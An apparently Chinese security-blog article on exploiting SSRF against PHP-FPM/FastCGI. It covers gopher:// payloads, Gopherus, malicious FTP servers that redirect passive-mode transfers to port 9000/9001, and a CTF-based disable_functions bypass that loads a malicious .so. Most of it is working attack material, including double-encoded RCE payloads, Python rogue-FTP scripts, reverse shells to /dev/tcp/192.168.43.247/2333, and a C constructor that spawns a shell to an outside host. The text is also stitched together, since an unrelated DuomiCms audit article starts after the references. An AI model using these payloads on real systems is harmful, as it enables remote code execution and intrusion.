gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%14%04%00%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Ddisable_functions%20%3D%20%0Dsafe_mode%20%3D%20Off%0Dauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%00%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0D%27%29%3B%3F%3E
之后我们还要对上面的payload进行二次url编码，然后将最终的payload内容放到?url=后面发送过去（这里需要进行两次编码，因为这里GET会进行一次解码，curl也会再进行一次解码）：
ssrf.php?url=gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2514%2504%2500%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509%255BPHP_VALUEallow_url_include%2520%253D%2520On%250Ddisable_functions%2520%253D%2520%250Dsafe_mode%2520%253D%2520Off%250Dauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2500%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----0vcdb34oju09b8fd-----%250D%2527%2529%253B%253F%253E
如下图所示，命令执行成功：
### 利用 Gopherus 攻击
* 项目地址：<https://github.com/tarunkant/Gopherus>
[Gopherus](https://github.com/tarunkant/Gopherus)
这个工具相比上一个更加方便一下，该工具能生成Gopher有效负载，用来利用SSRF进行RCE：
下面我们就利用这个工具来执行命令：
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是一个已知存在的php文件
id
如上图所示获得payload：
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
然后进行二次编码后将最终的payload内容放到?url=后面发送过去即可：
/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
如下图所示，命令执行成功：
## FTP - SSRF 攻击 FPM/FastCGI
这是在之前复现Laravel Debug mode RCE（CVE-2021-3129）漏洞时学到的一个思路。该漏洞的核心就是传入
file_get_contents() 和 file_put_contents() 这两个函数中的内容没有经过过滤，从而可以通过精巧的构造触发 phar
反序列化，达到RCE的效果。
漏洞代码大致可以简化为如下代码：
<?php
$contents = file_get_contents($_GET['viewFile']);
file_put_contents($_GET['viewFile'], $contents);
可以看到这里主要功能点是：读取一个给定的路径 `$_GET['viewFile']`，之后写回文件中
`$_GET['viewFile']`，这相当于什么都没有做！
由于我们可以运行 file_get_contents() 来查找任何东西，因此，可以运用 SSRF
常用的姿势，通过发送HTTP请求来扫描常用端口。假设此时我们发现目标正在监听 9000 端口，则很有可能目标主机上正在运行着 PHP-FPM，我们可以进一步利用该漏洞来攻击 PHP-FPM。
众所周知，如果我们能向 PHP-FPM
发送一个任意的二进制数据包，就可以在机器上执行代码。这种技术经常与gopher://协议结合使用，curl支持gopher://协议，但file_get_contents却不支持。
另一个已知的允许通过 TCP
发送二进制数据包的协议是FTP，更准确的说是该协议的被动模式，即：如果一个客户端试图从FTP服务器上读取一个文件（或写入），服务器会通知客户端将文件的内容读取（或写）到一个有服务端指定的IP和端口上。而且，这里对这些IP和端口没有进行必要的限制。例如，服务器可以告诉客户端连接到自己的某一个端口，如果它愿意的话。
现在，如果我们尝试使用 `viewFile=ftp://evil-server/file.txt` 来利用这个漏洞，会发生以下情况：
* 首先通过 file_get_contents() 函数连接到我们的FTP服务器，并下载file.txt。
* 然后再通过 file_put_contents() 函数连接到我们的FTP服务器，并将其上传回file.txt。
现在，你可能已经知道这是怎么回事：我们将使用 FTP 协议的被动模式让 file_get_contents() 在我们的服务器上下载一个文件，当它试图使用
file_put_contents() 把它上传回去时，我们将告诉它把文件发送到 127.0.0.1:9000。这样，我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包，从而执行代码，造成SSRF了。
下面我们来演示一下攻击过程。
首先，我们使用gopherus生成攻击fastcgi的payload：
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是目标主机上一个已知存在的php文件
bash -c "bash -i >& /dev/tcp/192.168.43.247/2333 0>&1" # 这里输入的是要执行的命令
得到payload，而我们需要的是上面payload中 `_` 后面的数据部分，即：
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.43.247/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
在攻击机上设置好nc监听：
然后编写如下脚本（脚本是从网上扒的，谁叫我菜呢，大佬勿喷~~），在攻击机上搭建一个恶意的ftp服务，并将上面的payload中的数据替换掉下面ftp脚本中的payload的内容：
# -*- coding: utf-8 -*- # @Time : 2021/1/13 6:56 下午
# @Author : tntaxin
# @File : ftp_redirect.py
# @Software:
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.43.247/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器，用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据，TYPE I表示二进制， TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 127,0,0,1,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开，其中端口的计算规则为：4*256+210=1234
else:
conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则：35*256+40=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n，第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件，需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1
运行上述脚本，一个恶意ftp服务就起来了：
这个脚本做的事情很简单，就是当客户端第一次连接的时候返回我们预设的 payload；当客户端第二次连接的时候将客户端的连接重定向到
127.0.0.1:9000，也就是目标主机上 php-fpm 服务的端口，从而造成 SSRF，攻击其 php-fpm。
最后，构造如下请求，触发攻击：
/ssrf.php?viewFile=ftp://[email protected]:23/123
成功反弹shell：
假设有以下代码：
<?php
file_put_contents($_GET['file'], $_GET['data']);
经测试目标主机的 9000 端口上存在 PHP-FPM ，那我们便可以利用与刚才相似的原理，通过搭建恶意的 ftp 服务器来攻击 PHP-FPM。
首先还是使用 gopherus 生成payload：
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是目标主机上一个已知存在的php文件
bash -c "bash -i >& /dev/tcp/192.168.43.247/2333 0>&1" # 这里输入的是要执行的命令
得到的payload只截取 `_` 后面的数据部分。
然后再攻击机上执行以下python脚本搭建一个恶意的 ftp 服务器：
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
并在 vps 上开启一个 nc 监听，用于接收反弹的shell：
最后构造 url 发送 payload 即可：
/?file=ftp://[email protected]:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.43.247/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
如下图所示，命令执行成功，并成功反弹Shell：
## 通过加载恶意 .so 实现 RCE 绕过 Disable_Dunctions
我们在渗透测试中常常会遇到目标环境设置了 disable_functions 的情况，`disable_functions` 这个选项是 PHP
加载的时候就确定了并且我们没有权限通过 `php_value` 选项对其进行修改，但是 LD_PRELOAD 绕过 disable_functions
的方法给了我们思路。即我们可以通过加载恶意 .so 扩展的方法实现系统命令的执行，从而一举绕过 disable_functions 对我们的限制。
有时候常见的攻击 PHP-FPM 的方法并不能成功实现代码执行，但我们可以通过加载恶意 .so 扩展的方法实现系统的命令执行。我们知道 LD_PRELOAD
绕过 disable_functions 大致就是把我们编译出来的恶意的 .so 文件加载到环境变量中去执行，从而实现执行系统命令。
LD_PRELOAD 是通过 putenv() 把so文件加载到环境变量中再去调用。那么我们 Fastcgi 也完全可以做同样的事，只需要通过
`PHP_VALUE` 给 php.ini 添加一个 extender 扩展就行了。
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
下面我们通过 [[2021
蓝帽杯]one_Pointer_php](https://buuoj.cn/challenges#\[%E8%93%9D%E5%B8%BD%E6%9D%AF%202021\]One%20Pointer%20PHP)
这道 CTF 例题来演示攻击过程。
该可以通过 PHP 数组溢出绕过限制实现 eval() 任意代码执行，但是题目的PHP环境还设置了以下两个限制：
* disable_functions：
过滤了各种命令执行函数，但是像 scandir、file_get_contents、file_put_contents 等目录和文件操作函数没有被过滤
* open_basedir
设置了 open_basedir，只能访问 Web 目录，但我们可以利用chdir()与ini_set()组合来绕过 open_basedir：
/add_api.php?backdoor=mkdir('css');chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
在根目录里发现了 flag。
尝试使用 file_get_contents()
等函数读取均失败，猜测是出题人对flag的权限做了限制。那我们就要想办法提权了，但是要提权则必须先拿到shell执行命令，也就是得要先绕过disable_functions。
这里尝试了很多方法绕过disable_functions均失败，当我读取 /proc/self/cmdline 时发现当前进程是 php-fpm：
所以说这道题应该就是通过攻击 php-fpm 来绕过 disable_functions 了。
首先查看nginx配置文件：
发现 PHP-FPM 绑定在了本地 9001 端口上。
好了，既然我们可以通过 eval() 执行任意代码，那我们便可以构造恶意代码进行 SSRF，利用 SSRF 攻击本地的 PHP-FPM。我们可以通过在vps上搭建恶意的ftp，骗取目标主机将 payload 转发到自己的 9001 端口上，从而实现攻击 PHP-FPM
并执行命令，原理上文已经讲过了。
首先使用以下c文件 hpdoger.c 编译一个恶意的 .so 扩展，这里直接用网上亘古不变的写法：
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}
通过 shared 命令编译：
gcc hpdoger.c -fPIC -shared -o hpdoger.so
然后将生成的 hpdoger.so 上传到目标主机（我这里上传到 /tmp 目录，可以使用
`copy('http://vps/hpdoger.so','/tmp/hpdoger.so')` ）
然后简单修改以下脚本（根据 [fcgi_jailbreak.php](https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php) 改的）并执行，生成 payload：
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <[email protected]>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}
$filepath = "/var/www/html/add_api.php"; // 目标主机已知的PHP文件的路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami'; // 啥也不是, 不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // 啥也不是, 不用管
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
然后执行以下脚本自己 vps 上搭建一个恶意的 ftp 服务器：
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
然后在 vps 上开启一个 nc 监听，用于接收反弹的shell：
最后通过 eval() 构造如下恶意代码通过 file_put_contents() 与我们 vps 上恶意的 ftp 服务器建立连接：
/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://[email protected]:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9000%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
此时当 ftp 建立连接后，会通过被动模式将 payload 重定向到目标主机本地 9001 端口的 PHP-FPM 上，并成功反弹Shell：
后面就是一个 SUID 提权了，利用的是 /usr/local/bin/php，直接进行 PHP 交互模式执行代码获取 flag 即可。
## 未完待续......
> 参考：
>
> <https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html>
>
> [https://www.cnblogs.com/itbsl/p/9828776.html#web-服务器和-fastcgi-> 交互过程](https://www.cnblogs.com/itbsl/p/9828776.html#web-%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%92%8C-fastcgi-%E4%BA%A4%E4%BA%92%E8%BF%87%E7%A8%8B)
>
> <https://xz.aliyun.com/t/5598#toc-4>
>
> <https://bbs.ichunqiu.com/thread-58455-1-1.html>
>
> <https://github.com/adoy/PHP-FastCGI-Client>
>
> <https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75>
>
> <https://github.com/wofeiwo/webcgi-> exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php>
>
> <https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/php-> fastcgi-remote-exploit.md> | 社区文章 |
### 前言
大家好，我是 **红日安全** 的 **七月火** 。这篇文章将记录 **DuomiCms3.0最新版**
的漏洞挖掘过程，当中会分享一些审计的技巧，希望对想要学习审计的朋友有所帮助。当中分享的每一个漏洞并不一定都存在，但是为了文章的完整性，还是把所有漏洞挖掘的过程记录下来。
### XXE漏洞挖掘
先使用 **phpstorm** 的全局搜索 **simplexml_load_** 、 **SimpleXMLElement** 等字符串（快捷键为：
`Ctrl+Shift+F` ），这里的 **simplexml_load_** 字符串主要针对 **simplexml_load_file** 和
